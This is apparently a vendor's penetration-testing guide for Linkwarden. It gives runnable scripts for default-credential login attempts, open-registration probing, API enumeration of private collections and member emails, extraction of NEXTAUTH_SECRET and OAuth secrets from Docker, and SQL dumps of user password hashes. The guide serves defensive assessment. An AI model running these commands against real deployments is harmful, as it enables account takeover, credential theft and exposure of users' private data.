Linkwarden Security Testing: Default Credentials, API Key, Database, and NEXTAUTH_SECRET

Linkwarden is a widely deployed self-hosted bookmark manager and link archiver — it stores complete bookmark libraries with archived full-page HTML snapshots, PDF exports, and screenshots of bookmarked pages. Key assessment areas: NEXTAUTH_SECRET is the NextAuth.js session signing key enabling account takeover; the API token provides access to complete bookmark libraries including private collections; archived page snapshots stored on the file system reveal complete browsing content; and the PostgreSQL database stores all links, collections, and team membership data. This guide covers systematic Linkwarden security assessment.

Table of Contents

  1. Authentication and API Token Testing
  2. API Bookmark and Collection Enumeration
  3. NEXTAUTH_SECRET and Database Extraction
  4. Linkwarden Security Hardening

Authentication and API Token Testing

# Linkwarden — authentication and API token testing
LW_URL="https://links.example.com"

# Linkwarden uses NextAuth.js credentials provider
# Test common weak admin credentials
for CRED in "admin@example.com:admin" "admin@links.example.com:password" \
            "user@example.com:linkwarden" "admin@example.com:changeme"; do
  EMAIL=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  RESULT=$(curl -s -X POST "${LW_URL}/api/v1/auth/callback/credentials" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"${EMAIL}\",\"password\":\"${PASS}\"}" 2>/dev/null)
  echo "${EMAIL}: $(echo $RESULT | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('url','FAIL'))" 2>/dev/null)"
done

# API token generation — via user profile settings
# Linkwarden generates API tokens in /settings/api
# Test API token authentication
LW_TOKEN="lw_your-api-token"
curl -s "${LW_URL}/api/v1/users/me" \
  -H "Authorization: Bearer ${LW_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
user = d.get('response',d)
print(f'Authenticated user:')
print(f'  ID: {user.get(\"id\")}')
print(f'  Name: {user.get(\"name\")}')
print(f'  Email: {user.get(\"email\")}')
print(f'  Role: {user.get(\"role\")}')
print(f'  IsOwner: {user.get(\"isOwner\")}')
" 2>/dev/null

# Check if registration is open
curl -s -X POST "${LW_URL}/api/v1/auth/register" \
  -H "Content-Type: application/json" \
  -d '{"name":"Test User","username":"testuser","email":"test@attacker.com","password":"testpassword123"}' \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if d.get('response'):
    print(f'OPEN REGISTRATION: Account created id={d.get(\"response\",{}).get(\"id\")}')
elif 'error' in str(d).lower() or 'disable' in str(d).lower():
    print(f'Registration restricted')
else:
    print(f'Response: {str(d)[:100]}')
" 2>/dev/null

API Bookmark and Collection Enumeration

# Linkwarden API — bookmark and collection enumeration
LW_URL="https://links.example.com"
LW_TOKEN="lw_your-api-token"

# Get all links (bookmarks)
curl -s "${LW_URL}/api/v1/links?take=50&skip=0" \
  -H "Authorization: Bearer ${LW_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
links = d.get('response',[]) if isinstance(d,dict) else d
print(f'Links: {len(links)}')
for link in links[:10]:
    print(f'  [{link.get(\"id\")}] {link.get(\"name\",\"\")}')
    print(f'    URL: {link.get(\"url\",\"\")[:80]}')
    print(f'    desc: {str(link.get(\"description\",\"\"))[:60]}')
    print(f'    collection: {link.get(\"collection\",{}).get(\"name\")}')
    print(f'    archived: {bool(link.get(\"image\") or link.get(\"pdf\") or link.get(\"readable\"))}')
" 2>/dev/null

# Get all collections including private ones
curl -s "${LW_URL}/api/v1/collections?take=50&skip=0" \
  -H "Authorization: Bearer ${LW_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
collections = d.get('response',[]) if isinstance(d,dict) else d
print(f'Collections: {len(collections)}')
for c in collections:
    print(f'  [{c.get(\"id\")}] {c.get(\"name\")} isPublic={c.get(\"isPublic\")}')
    print(f'    links={c.get(\"_count\",{}).get(\"links\",0)} owner={c.get(\"owner\",{}).get(\"name\")}')
    members = c.get('members',[])
    for m in members:
        print(f'    member: {m.get(\"user\",{}).get(\"name\")} <{m.get(\"user\",{}).get(\"email\")}>')
" 2>/dev/null

# Access archived page content (HTML snapshots, PDFs, screenshots)
LINK_ID="123"
# Archived HTML snapshot
curl -s "${LW_URL}/api/v1/archives/${LINK_ID}" \
  -H "Authorization: Bearer ${LW_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
archive = d.get('response',d)
print(f'Archive:')
print(f'  image: {archive.get(\"image\")}')
print(f'  pdf: {archive.get(\"pdf\")}')
print(f'  readable: {archive.get(\"readable\")}')
" 2>/dev/null

NEXTAUTH_SECRET and Database Extraction

# Linkwarden NEXTAUTH_SECRET and database extraction

# Docker environment variables
docker inspect linkwarden 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['NEXTAUTH_SECRET','DATABASE','POSTGRES','DISABLE_REGISTRATION',
                                 'GOOGLE','GITHUB','STORAGE']):
            print(e)
" 2>/dev/null
# NEXTAUTH_SECRET — signs all NextAuth.js session JWTs
# DATABASE_URL — PostgreSQL connection string
# DISABLE_REGISTRATION — prevents new user sign-ups
# GOOGLE_CLIENT_ID, GOOGLE_CLIENT_SECRET — OAuth credentials
# GITHUB_CLIENT_ID, GITHUB_CLIENT_SECRET — OAuth credentials
# STORAGE_FOLDER — where archived pages are stored on disk (/data by default)

# PostgreSQL — all Linkwarden data
DB_URL="postgresql://linkwarden:PASSWORD@localhost/linkwarden"
psql "$DB_URL" 2>/dev/null << 'EOF'
-- All user accounts
SELECT u.id, u.name, u.username,
       u.email, u.password,
       u.role, u."isOwner",
       u."createdAt"
FROM "User" u
ORDER BY u."isOwner" DESC, u."createdAt" ASC
LIMIT 20;

-- All links/bookmarks with URLs
SELECT l.id, l.name,
       l.url,                -- The bookmarked URL
       l.description,
       l."collectionId",
       c.name as collection_name,
       c."isPublic",
       u.email as owner_email,
       l."createdAt"
FROM "Link" l
JOIN "Collection" c ON l."collectionId" = c.id
JOIN "User" u ON c."ownerId" = u.id
ORDER BY l."createdAt" DESC
LIMIT 30;

-- Archived page file paths
SELECT a.id, a."linkId",
       a.image, a.pdf, a.readable,
       a."lastPreserved"
FROM "Archive" a
ORDER BY a."lastPreserved" DESC
LIMIT 10;
EOF
-- image, pdf, readable: file paths to archived page snapshots on disk

Linkwarden Security Hardening

Linkwarden Security Hardening Checklist:
Security TestMethodRisk
NEXTAUTH_SECRET extraction and JWT session forgeryRead .env NEXTAUTH_SECRET — forge NextAuth.js JWT session tokens for any user; access complete bookmark library including private collections; access all archived page HTML snapshots and PDFsHigh
PostgreSQL links table bookmark URL enumerationSELECT url FROM Link — all bookmarked URLs for all users; reveals research topics, visited websites, and interests; PII data indicating what users read and researchHigh
Archive file system content extractionRead files from STORAGE_FOLDER/archives/ — full HTML snapshots of bookmarked pages including authenticated session content; may include archived banking portals, admin panels, and private corporate wikisHigh
Open registration account creationPOST /api/v1/auth/register — create accounts if DISABLE_REGISTRATION not set; resource consumption; access to any public collections; use as a launching point for other authenticated API testingMedium
Shared collection member data enumerationGET /api/v1/collections — all collections with member list including email addresses; enumerates all users who share collections; member emails usable for targeted phishingMedium

Automate Linkwarden Security Testing

Ironimo tests Linkwarden deployments for NEXTAUTH_SECRET JWT session token forgery, PostgreSQL links table bookmark URL enumeration, archived page HTML/PDF file system content extraction, open registration endpoint testing, shared collection member email enumeration, Docker NEXTAUTH_SECRET/DATABASE_URL/GOOGLE_CLIENT_SECRET exposure, API token persistence and expiration assessment, private collection access control bypass testing, team member data exposure, and STORAGE_FOLDER permission and access control assessment.

Start free scan